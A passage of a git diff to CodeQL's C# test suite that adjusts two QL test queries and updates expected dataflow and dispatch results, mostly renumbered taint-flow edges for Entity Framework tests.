+  FlowSummaryImpl::Private::Steps::summaryThroughStepTaint(node1, node2) and preservesValue = false
 }
 
 query predicate summaryGetterStep(DataFlow::Node arg, DataFlow::Node out, Content c) {
diff --git a/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.ql b/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.ql
index ab446617404..811a81a934c 100644
--- a/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.ql
+++ b/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.ql
@@ -1,5 +1,5 @@
 import shared.FlowSummaries
 
 private class IncludeAllSummarizedCallable extends IncludeSummarizedCallable {
-  IncludeAllSummarizedCallable() { this instanceof SummarizedCallable }
+  IncludeAllSummarizedCallable() { exists(this) }
 }
diff --git a/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.ql b/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.ql
index 123af14b314..961faf60084 100644
--- a/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.ql
+++ b/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.ql
@@ -13,10 +13,10 @@ class IncludeFilteredSummarizedCallable extends IncludeSummarizedCallable {
   override predicate relevantSummary(
     SummaryComponentStack input, SummaryComponentStack output, boolean preservesValue
   ) {
-    this.propagatesFlow(input, output, preservesValue) and
+    this.(SummarizedCallable).propagatesFlow(input, output, preservesValue) and
     not exists(IncludeSummarizedCallable rsc |
       isBaseCallableOrPrototype(rsc) and
-      rsc.propagatesFlow(input, output, preservesValue) and
+      rsc.(SummarizedCallable).propagatesFlow(input, output, preservesValue) and
       this.(UnboundCallable).overridesOrImplementsUnbound(rsc)
     )
   }
diff --git a/csharp/ql/test/library-tests/dispatch/viableCallable.expected b/csharp/ql/test/library-tests/dispatch/viableCallable.expected
index 74028980ba8..5a78d028b6c 100644
--- a/csharp/ql/test/library-tests/dispatch/viableCallable.expected
+++ b/csharp/ql/test/library-tests/dispatch/viableCallable.expected
@@ -216,16 +216,19 @@
 | ViableCallable.cs:178:13:178:17 | dynamic call to operator + | + | Double |
 | ViableCallable.cs:178:13:178:17 | dynamic call to operator + | + | Int32 |
 | ViableCallable.cs:178:13:178:17 | dynamic call to operator + | + | Int64 |
+| ViableCallable.cs:178:13:178:17 | dynamic call to operator + | + | NFloat |
 | ViableCallable.cs:178:13:178:17 | dynamic call to operator + | + | Single |
 | ViableCallable.cs:180:13:180:17 | dynamic call to operator - | - | Decimal |
 | ViableCallable.cs:180:13:180:17 | dynamic call to operator - | - | Double |
 | ViableCallable.cs:180:13:180:17 | dynamic call to operator - | - | Int32 |
 | ViableCallable.cs:180:13:180:17 | dynamic call to operator - | - | Int64 |
+| ViableCallable.cs:180:13:180:17 | dynamic call to operator - | - | NFloat |
 | ViableCallable.cs:180:13:180:17 | dynamic call to operator - | - | Single |
 | ViableCallable.cs:182:13:182:18 | dynamic call to operator + | + | Decimal |
 | ViableCallable.cs:182:13:182:18 | dynamic call to operator + | + | Double |
 | ViableCallable.cs:182:13:182:18 | dynamic call to operator + | + | Int32 |
 | ViableCallable.cs:182:13:182:18 | dynamic call to operator + | + | Int64 |
+| ViableCallable.cs:182:13:182:18 | dynamic call to operator + | + | NFloat |
 | ViableCallable.cs:182:13:182:18 | dynamic call to operator + | + | Single |
 | ViableCallable.cs:185:17:185:25 | object creation of type C10 | C10 | C10 |
 | ViableCallable.cs:186:9:186:153 | call to method InvokeMember | + | C10 |
diff --git a/csharp/ql/test/library-tests/frameworks/EntityFramework/Dataflow.expected b/csharp/ql/test/library-tests/frameworks/EntityFramework/Dataflow.expected
index 6120caaad32..5f7866b09d1 100644
--- a/csharp/ql/test/library-tests/frameworks/EntityFramework/Dataflow.expected
+++ b/csharp/ql/test/library-tests/frameworks/EntityFramework/Dataflow.expected
@@ -82,97 +82,97 @@ edges
 | EntityFramework.cs:219:18:219:36 | call to method First<Person> [property Addresses, element, property Street] : String | EntityFramework.cs:219:18:219:46 | access to property Addresses [element, property Street] : String |
 | EntityFramework.cs:219:18:219:46 | access to property Addresses [element, property Street] : String | EntityFramework.cs:219:18:219:54 | call to method First<Address> [property Street] : String |
 | EntityFramework.cs:219:18:219:54 | call to method First<Address> [property Street] : String | EntityFramework.cs:219:18:219:61 | access to property Street |
-| EntityFrameworkCore.cs:75:31:75:39 | "tainted" : String | EntityFrameworkCore.cs:76:18:76:28 | access to local variable taintSource |
-| EntityFrameworkCore.cs:75:31:75:39 | "tainted" : String | EntityFrameworkCore.cs:77:35:77:45 | access to local variable taintSource : String |
-| EntityFrameworkCore.cs:75:31:75:39 | "tainted" : String | EntityFrameworkCore.cs:78:18:78:42 | (...) ... |
-| EntityFrameworkCore.cs:75:31:75:39 | "tainted" : String | EntityFrameworkCore.cs:78:32:78:42 | access to local variable taintSource : String |
-| EntityFrameworkCore.cs:77:18:77:46 | object creation of type RawSqlString : RawSqlString | EntityFrameworkCore.cs:77:18:77:46 | (...) ... |
-| EntityFrameworkCore.cs:77:35:77:45 | access to local variable taintSource : String | EntityFrameworkCore.cs:77:18:77:46 | object creation of type RawSqlString : RawSqlString |
-| EntityFrameworkCore.cs:78:18:78:42 | call to operator implicit conversion : RawSqlString | EntityFrameworkCore.cs:78:18:78:42 | (...) ... |
-| EntityFrameworkCore.cs:78:32:78:42 | access to local variable taintSource : String | EntityFrameworkCore.cs:78:18:78:42 | call to operator implicit conversion : RawSqlString |
-| EntityFrameworkCore.cs:85:13:88:13 | { ..., ... } [property Name] : String | EntityFrameworkCore.cs:92:29:92:30 | access to local variable p1 [property Name] : String |
-| EntityFrameworkCore.cs:87:24:87:32 | "tainted" : String | EntityFrameworkCore.cs:85:13:88:13 | { ..., ... } [property Name] : String |
-| EntityFrameworkCore.cs:92:13:92:15 | [post] access to local variable ctx [property Persons, element, property Name] : String | EntityFrameworkCore.cs:94:13:94:15 | access to local variable ctx [property Persons, element, property Name] : String |
-| EntityFrameworkCore.cs:92:13:92:23 | [post] access to property Persons [element, property Name] : String | EntityFrameworkCore.cs:92:13:92:15 | [post] access to local variable ctx [property Persons, element, property Name] : String |
-| EntityFrameworkCore.cs:92:29:92:30 | access to local variable p1 [property Name] : String | EntityFrameworkCore.cs:92:13:92:23 | [post] access to property Persons [element, property Name] : String |
-| EntityFrameworkCore.cs:94:13:94:15 | access to local variable ctx [property Persons, element, property Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [element, property Name] : String |
-| EntityFrameworkCore.cs:107:13:110:13 | { ..., ... } [property Name] : String | EntityFrameworkCore.cs:114:29:114:30 | access to local variable p1 [property Name] : String |
-| EntityFrameworkCore.cs:109:24:109:32 | "tainted" : String | EntityFrameworkCore.cs:107:13:110:13 | { ..., ... } [property Name] : String |
-| EntityFrameworkCore.cs:114:13:114:15 | [post] access to local variable ctx [property Persons, element, property Name] : String | EntityFrameworkCore.cs:116:19:116:21 | access to local variable ctx [property Persons, element, property Name] : String |
-| EntityFrameworkCore.cs:114:13:114:23 | [post] access to property Persons [element, property Name] : String | EntityFrameworkCore.cs:114:13:114:15 | [post] access to local variable ctx [property Persons, element, property Name] : String |
-| EntityFrameworkCore.cs:114:29:114:30 | access to local variable p1 [property Name] : String | EntityFrameworkCore.cs:114:13:114:23 | [post] access to property Persons [element, property Name] : String |
-| EntityFrameworkCore.cs:116:19:116:21 | access to local variable ctx [property Persons, element, property Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [element, property Name] : String |
-| EntityFrameworkCore.cs:129:13:132:13 | { ..., ... } [property Name] : String | EntityFrameworkCore.cs:135:27:135:28 | access to local variable p1 [property Name] : String |
-| EntityFrameworkCore.cs:131:24:131:32 | "tainted" : String | EntityFrameworkCore.cs:129:13:132:13 | { ..., ... } [property Name] : String |
-| EntityFrameworkCore.cs:135:27:135:28 | access to local variable p1 [property Name] : String | EntityFrameworkCore.cs:219:35:219:35 | p [property Name] : String |
-| EntityFrameworkCore.cs:148:13:151:13 | { ..., ... } [property Title] : String | EntityFrameworkCore.cs:155:18:155:19 | access to local variable p1 [property Title] : String |
-| EntityFrameworkCore.cs:150:25:150:33 | "tainted" : String | EntityFrameworkCore.cs:148:13:151:13 | { ..., ... } [property Title] : String |
-| EntityFrameworkCore.cs:155:18:155:19 | access to local variable p1 [property Title] : String | EntityFrameworkCore.cs:155:18:155:25 | access to property Title |
-| EntityFrameworkCore.cs:167:13:174:13 | { ..., ... } [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:175:29:175:30 | access to local variable p1 [property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:168:29:173:17 | array creation of type Address[] [element, property Street] : String | EntityFrameworkCore.cs:167:13:174:13 | { ..., ... } [property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:168:35:173:17 | { ..., ... } [element, property Street] : String | EntityFrameworkCore.cs:168:29:173:17 | array creation of type Address[] [element, property Street] : String |
-| EntityFrameworkCore.cs:169:21:172:21 | object creation of type Address [property Street] : String | EntityFrameworkCore.cs:168:35:173:17 | { ..., ... } [element, property Street] : String |
-| EntityFrameworkCore.cs:169:33:172:21 | { ..., ... } [property Street] : String | EntityFrameworkCore.cs:169:21:172:21 | object creation of type Address [property Street] : String |
-| EntityFrameworkCore.cs:171:34:171:42 | "tainted" : String | EntityFrameworkCore.cs:169:33:172:21 | { ..., ... } [property Street] : String |
-| EntityFrameworkCore.cs:175:13:175:15 | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:176:13:176:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:175:13:175:15 | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:180:13:180:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:175:13:175:15 | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:175:13:175:15 | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:175:13:175:23 | [post] access to property Persons [element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:175:13:175:15 | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:175:29:175:30 | access to local variable p1 [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:175:13:175:23 | [post] access to property Persons [element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:176:13:176:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:176:13:176:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:180:13:180:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:180:13:180:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:183:13:186:13 | { ..., ... } [property Street] : String | EntityFrameworkCore.cs:187:31:187:32 | access to local variable a1 [property Street] : String |
-| EntityFrameworkCore.cs:185:26:185:34 | "tainted" : String | EntityFrameworkCore.cs:183:13:186:13 | { ..., ... } [property Street] : String |
-| EntityFrameworkCore.cs:187:13:187:15 | [post] access to local variable ctx [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:187:13:187:15 | [post] access to local variable ctx [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:187:13:187:25 | [post] access to property Addresses [element, property Street] : String | EntityFrameworkCore.cs:187:13:187:15 | [post] access to local variable ctx [property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:187:31:187:32 | access to local variable a1 [property Street] : String | EntityFrameworkCore.cs:187:13:187:25 | [post] access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:199:13:202:13 | { ..., ... } [property Name] : String | EntityFrameworkCore.cs:208:71:208:72 | access to local variable p1 [property Name] : String |
-| EntityFrameworkCore.cs:201:24:201:32 | "tainted" : String | EntityFrameworkCore.cs:199:13:202:13 | { ..., ... } [property Name] : String |
-| EntityFrameworkCore.cs:204:13:207:13 | { ..., ... } [property Street] : String | EntityFrameworkCore.cs:208:85:208:86 | access to local variable a1 [property Street] : String |
-| EntityFrameworkCore.cs:206:26:206:34 | "tainted" : String | EntityFrameworkCore.cs:204:13:207:13 | { ..., ... } [property Street] : String |
-| EntityFrameworkCore.cs:208:60:208:88 | { ..., ... } [property Address, property Street] : String | EntityFrameworkCore.cs:209:37:209:53 | access to local variable personAddressMap1 [property Address, property Street] : String |
-| EntityFrameworkCore.cs:208:60:208:88 | { ..., ... } [property Person, property Name] : String | EntityFrameworkCore.cs:209:37:209:53 | access to local variable personAddressMap1 [property Person, property Name] : String |
-| EntityFrameworkCore.cs:208:71:208:72 | access to local variable p1 [property Name] : String | EntityFrameworkCore.cs:208:60:208:88 | { ..., ... } [property Person, property Name] : String |
-| EntityFrameworkCore.cs:208:85:208:86 | access to local variable a1 [property Street] : String | EntityFrameworkCore.cs:208:60:208:88 | { ..., ... } [property Address, property Street] : String |
-| EntityFrameworkCore.cs:209:13:209:15 | [post] access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | EntityFrameworkCore.cs:210:13:210:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String |
-| EntityFrameworkCore.cs:209:13:209:15 | [post] access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | EntityFrameworkCore.cs:216:13:216:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String |
-| EntityFrameworkCore.cs:209:13:209:15 | [post] access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | EntityFrameworkCore.cs:210:13:210:15 | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String |
-| EntityFrameworkCore.cs:209:13:209:15 | [post] access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | EntityFrameworkCore.cs:216:13:216:15 | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String |
-| EntityFrameworkCore.cs:209:13:209:31 | [post] access to property PersonAddresses [element, property Address, property Street] : String | EntityFrameworkCore.cs:209:13:209:15 | [post] access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String |
-| EntityFrameworkCore.cs:209:13:209:31 | [post] access to property PersonAddresses [element, property Person, property Name] : String | EntityFrameworkCore.cs:209:13:209:15 | [post] access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String |
-| EntityFrameworkCore.cs:209:37:209:53 | access to local variable personAddressMap1 [property Address, property Street] : String | EntityFrameworkCore.cs:209:13:209:31 | [post] access to property PersonAddresses [element, property Address, property Street] : String |
-| EntityFrameworkCore.cs:209:37:209:53 | access to local variable personAddressMap1 [property Person, property Name] : String | EntityFrameworkCore.cs:209:13:209:31 | [post] access to property PersonAddresses [element, property Person, property Name] : String |
-| EntityFrameworkCore.cs:210:13:210:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:210:13:210:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:210:13:210:15 | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [element, property Name] : String |
-| EntityFrameworkCore.cs:216:13:216:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:216:13:216:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:216:13:216:15 | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [element, property Name] : String |
-| EntityFrameworkCore.cs:219:35:219:35 | p [property Name] : String | EntityFrameworkCore.cs:222:29:222:29 | access to parameter p [property Name] : String |
-| EntityFrameworkCore.cs:222:13:222:15 | [post] access to local variable ctx [property Persons, element, property Name] : String | EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [property Persons, element, property Name] : String |
-| EntityFrameworkCore.cs:222:13:222:23 | [post] access to property Persons [element, property Name] : String | EntityFrameworkCore.cs:222:13:222:15 | [post] access to local variable ctx [property Persons, element, property Name] : String |
-| EntityFrameworkCore.cs:222:29:222:29 | access to parameter p [property Name] : String | EntityFrameworkCore.cs:222:13:222:23 | [post] access to property Persons [element, property Name] : String |
-| EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [property Persons, element, property Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [element, property Name] : String |
-| EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [element, property Name] : String | EntityFrameworkCore.cs:230:18:230:36 | call to method First<Person> [property Name] : String |
-| EntityFrameworkCore.cs:230:18:230:36 | call to method First<Person> [property Name] : String | EntityFrameworkCore.cs:230:18:230:41 | access to property Name |
-| EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [element, property Street] : String | EntityFrameworkCore.cs:238:18:238:38 | call to method First<Address> [property Street] : String |
-| EntityFrameworkCore.cs:238:18:238:38 | call to method First<Address> [property Street] : String | EntityFrameworkCore.cs:238:18:238:45 | access to property Street |
-| EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:36 | call to method First<Person> [property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:245:18:245:36 | call to method First<Person> [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:46 | access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:245:18:245:46 | access to property Addresses [element, property Street] : String | EntityFrameworkCore.cs:245:18:245:54 | call to method First<Address> [property Street] : String |
-| EntityFrameworkCore.cs:245:18:245:54 | call to method First<Address> [property Street] : String | EntityFrameworkCore.cs:245:18:245:61 | access to property Street |
+| EntityFrameworkCore.cs:82:31:82:39 | "tainted" : String | EntityFrameworkCore.cs:83:18:83:28 | access to local variable taintSource |
+| EntityFrameworkCore.cs:82:31:82:39 | "tainted" : String | EntityFrameworkCore.cs:84:35:84:45 | access to local variable taintSource : String |
+| EntityFrameworkCore.cs:82:31:82:39 | "tainted" : String | EntityFrameworkCore.cs:85:18:85:42 | (...) ... |
+| EntityFrameworkCore.cs:82:31:82:39 | "tainted" : String | EntityFrameworkCore.cs:85:32:85:42 | access to local variable taintSource : String |
+| EntityFrameworkCore.cs:84:18:84:46 | object creation of type RawSqlString : RawSqlString | EntityFrameworkCore.cs:84:18:84:46 | (...) ... |
+| EntityFrameworkCore.cs:84:35:84:45 | access to local variable taintSource : String | EntityFrameworkCore.cs:84:18:84:46 | object creation of type RawSqlString : RawSqlString |
+| EntityFrameworkCore.cs:85:18:85:42 | call to operator implicit conversion : RawSqlString | EntityFrameworkCore.cs:85:18:85:42 | (...) ... |
+| EntityFrameworkCore.cs:85:32:85:42 | access to local variable taintSource : String | EntityFrameworkCore.cs:85:18:85:42 | call to operator implicit conversion : RawSqlString |
+| EntityFrameworkCore.cs:92:13:95:13 | { ..., ... } [property Name] : String | EntityFrameworkCore.cs:99:29:99:30 | access to local variable p1 [property Name] : String |
+| EntityFrameworkCore.cs:94:24:94:32 | "tainted" : String | EntityFrameworkCore.cs:92:13:95:13 | { ..., ... } [property Name] : String |
+| EntityFrameworkCore.cs:99:13:99:15 | [post] access to local variable ctx [property Persons, element, property Name] : String | EntityFrameworkCore.cs:101:13:101:15 | access to local variable ctx [property Persons, element, property Name] : String |
+| EntityFrameworkCore.cs:99:13:99:23 | [post] access to property Persons [element, property Name] : String | EntityFrameworkCore.cs:99:13:99:15 | [post] access to local variable ctx [property Persons, element, property Name] : String |
+| EntityFrameworkCore.cs:99:29:99:30 | access to local variable p1 [property Name] : String | EntityFrameworkCore.cs:99:13:99:23 | [post] access to property Persons [element, property Name] : String |
+| EntityFrameworkCore.cs:101:13:101:15 | access to local variable ctx [property Persons, element, property Name] : String | EntityFrameworkCore.cs:237:18:237:28 | access to property Persons [element, property Name] : String |
+| EntityFrameworkCore.cs:114:13:117:13 | { ..., ... } [property Name] : String | EntityFrameworkCore.cs:121:29:121:30 | access to local variable p1 [property Name] : String |
+| EntityFrameworkCore.cs:116:24:116:32 | "tainted" : String | EntityFrameworkCore.cs:114:13:117:13 | { ..., ... } [property Name] : String |
+| EntityFrameworkCore.cs:121:13:121:15 | [post] access to local variable ctx [property Persons, element, property Name] : String | EntityFrameworkCore.cs:123:19:123:21 | access to local variable ctx [property Persons, element, property Name] : String |
+| EntityFrameworkCore.cs:121:13:121:23 | [post] access to property Persons [element, property Name] : String | EntityFrameworkCore.cs:121:13:121:15 | [post] access to local variable ctx [property Persons, element, property Name] : String |
+| EntityFrameworkCore.cs:121:29:121:30 | access to local variable p1 [property Name] : String | EntityFrameworkCore.cs:121:13:121:23 | [post] access to property Persons [element, property Name] : String |
+| EntityFrameworkCore.cs:123:19:123:21 | access to local variable ctx [property Persons, element, property Name] : String | EntityFrameworkCore.cs:237:18:237:28 | access to property Persons [element, property Name] : String |
+| EntityFrameworkCore.cs:136:13:139:13 | { ..., ... } [property Name] : String | EntityFrameworkCore.cs:142:27:142:28 | access to local variable p1 [property Name] : String |
+| EntityFrameworkCore.cs:138:24:138:32 | "tainted" : String | EntityFrameworkCore.cs:136:13:139:13 | { ..., ... } [property Name] : String |
+| EntityFrameworkCore.cs:142:27:142:28 | access to local variable p1 [property Name] : String | EntityFrameworkCore.cs:226:35:226:35 | p [property Name] : String |
+| EntityFrameworkCore.cs:155:13:158:13 | { ..., ... } [property Title] : String | EntityFrameworkCore.cs:162:18:162:19 | access to local variable p1 [property Title] : String |
+| EntityFrameworkCore.cs:157:25:157:33 | "tainted" : String | EntityFrameworkCore.cs:155:13:158:13 | { ..., ... } [property Title] : String |
+| EntityFrameworkCore.cs:162:18:162:19 | access to local variable p1 [property Title] : String | EntityFrameworkCore.cs:162:18:162:25 | access to property Title |
+| EntityFrameworkCore.cs:174:13:181:13 | { ..., ... } [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:182:29:182:30 | access to local variable p1 [property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:175:29:180:17 | array creation of type Address[] [element, property Street] : String | EntityFrameworkCore.cs:174:13:181:13 | { ..., ... } [property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:175:35:180:17 | { ..., ... } [element, property Street] : String | EntityFrameworkCore.cs:175:29:180:17 | array creation of type Address[] [element, property Street] : String |
+| EntityFrameworkCore.cs:176:21:179:21 | object creation of type Address [property Street] : String | EntityFrameworkCore.cs:175:35:180:17 | { ..., ... } [element, property Street] : String |
+| EntityFrameworkCore.cs:176:33:179:21 | { ..., ... } [property Street] : String | EntityFrameworkCore.cs:176:21:179:21 | object creation of type Address [property Street] : String |
+| EntityFrameworkCore.cs:178:34:178:42 | "tainted" : String | EntityFrameworkCore.cs:176:33:179:21 | { ..., ... } [property Street] : String |
+| EntityFrameworkCore.cs:182:13:182:15 | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:183:13:183:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:182:13:182:15 | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:187:13:187:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:182:13:182:15 | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:195:13:195:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:182:13:182:15 | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:199:13:199:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:182:13:182:23 | [post] access to property Persons [element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:182:13:182:15 | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:182:29:182:30 | access to local variable p1 [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:182:13:182:23 | [post] access to property Persons [element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:183:13:183:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:30 | access to property Addresses [element, property Street] : String |
+| EntityFrameworkCore.cs:183:13:183:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:252:18:252:28 | access to property Persons [element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:187:13:187:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:30 | access to property Addresses [element, property Street] : String |
+| EntityFrameworkCore.cs:187:13:187:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:252:18:252:28 | access to property Persons [element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:190:13:193:13 | { ..., ... } [property Street] : String | EntityFrameworkCore.cs:194:31:194:32 | access to local variable a1 [property Street] : String |
+| EntityFrameworkCore.cs:192:26:192:34 | "tainted" : String | EntityFrameworkCore.cs:190:13:193:13 | { ..., ... } [property Street] : String |
+| EntityFrameworkCore.cs:194:13:194:15 | [post] access to local variable ctx [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:195:13:195:15 | access to local variable ctx [property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:194:13:194:15 | [post] access to local variable ctx [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:199:13:199:15 | access to local variable ctx [property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:194:13:194:25 | [post] access to property Addresses [element, property Street] : String | EntityFrameworkCore.cs:194:13:194:15 | [post] access to local variable ctx [property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:194:31:194:32 | access to local variable a1 [property Street] : String | EntityFrameworkCore.cs:194:13:194:25 | [post] access to property Addresses [element, property Street] : String |
+| EntityFrameworkCore.cs:195:13:195:15 | access to local variable ctx [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:30 | access to property Addresses [element, property Street] : String |
+| EntityFrameworkCore.cs:195:13:195:15 | access to local variable ctx [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:252:18:252:28 | access to property Persons [element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:195:13:195:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:30 | access to property Addresses [element, property Street] : String |
+| EntityFrameworkCore.cs:195:13:195:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:252:18:252:28 | access to property Persons [element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:199:13:199:15 | access to local variable ctx [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:30 | access to property Addresses [element, property Street] : String |
